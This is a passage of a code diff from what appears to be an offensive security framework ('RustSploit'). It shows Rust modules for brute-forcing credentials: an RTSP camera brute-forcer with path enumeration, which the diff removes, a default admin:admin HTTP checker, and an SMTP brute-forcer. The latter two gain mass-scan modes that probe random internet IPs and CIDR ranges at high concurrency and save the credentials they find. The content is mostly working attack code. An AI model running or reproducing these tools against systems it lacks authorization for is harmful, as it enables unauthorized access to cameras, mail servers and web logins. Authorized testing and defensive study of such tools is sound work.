"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
// Add Read timeout
|
||||
let n = match timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
stream.read(&mut buffer),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
if n == 0 {
|
||||
return Err(anyhow!(
|
||||
"{}: server closed connection unexpectedly.",
|
||||
addr_display
|
||||
));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
// Some cameras might return 404 if path is wrong but still authorized?
|
||||
// Or 400 Bad Request?
|
||||
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
|
||||
// If we get 404, the creds might be valid but path invalid.
|
||||
// But without positive valid signal, we assume fail.
|
||||
Err(anyhow!(
|
||||
"{}: unexpected RTSP response: {}",
|
||||
addr_display,
|
||||
response.lines().next().unwrap_or("")
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
|
||||
/// Returns None if no path is present or if path is just "/"
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Remove rtsp:// scheme if present
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
|
||||
// Split on first '/' to separate host:port from path
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
// Remove query strings and fragments
|
||||
let clean_path = path
|
||||
.split(|c| c == '?' || c == '#')
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
// Ensure path starts with '/'
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(final_path)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -1,437 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::SocketAddr,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::sleep,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("RTSP Port", "554").await?
|
||||
.parse().unwrap_or(554);
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
|
||||
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
// Use loop structure from other modules or this module's custom loop?
|
||||
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
|
||||
// I will preserve the original logic flow.
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
|
||||
// The semaphore logic above (acquire_owned) already throttles concurrency.
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
// Use shared normalization for the host/port part
|
||||
let normalized_host = normalize_target(host_part)?;
|
||||
|
||||
// Check if normalized host implies a port. normalize_target returns host:port or host.
|
||||
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
|
||||
// However, existing logic seemed to force a port.
|
||||
// Let's check if port is present.
|
||||
// A simple heuristic: if it ends with digit, check for colon.
|
||||
// [ipv6]:port, ipv4:port, host:port.
|
||||
// If we assume normalize_target did its job, we just need to adhere to the return type.
|
||||
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
|
||||
// Checking for port on a normalized string:
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let final_host = if has_port {
|
||||
normalized_host
|
||||
} else {
|
||||
format!("{}:{}", normalized_host, default_port)
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((final_host, normalized_path))
|
||||
}
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
|
||||
@@ -1,31 +1,67 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Sample Default Credential Checker".to_string(),
|
||||
description: "Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP Basic Auth",
|
||||
default_port: 80,
|
||||
state_file: "sample_cred_mass_state.log",
|
||||
default_output: "sample_cred_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/login", ip, port);
|
||||
let resp = client.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() {
|
||||
let msg = format!("{}:{}:admin:admin", ip, port);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let resp = client
|
||||
.post(&url)
|
||||
@@ -35,9 +71,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
crate::mprintln!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
// Persist discovered credential to the framework's credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, 80, "http", "admin", "admin",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/sample_cred_check",
|
||||
).await;
|
||||
} else {
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
crate::mprintln!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,295 +1,296 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::net::{ToSocketAddrs, IpAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
load_lines,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SMTP Brute Force".to_string(),
|
||||
description: "Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
|
||||
crate::mprintln!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let config = SmtpBruteforceConfig {
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = Arc::new(users);
|
||||
let passes = Arc::new(passes);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SMTP",
|
||||
default_port: 25,
|
||||
state_file: "smtp_hose_state.log",
|
||||
default_output: "smtp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t, port, &u, &p)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", target_str, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "smtp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "smtp",
|
||||
source_module: "creds/generic/smtp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target_str, port, &user, &pass)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
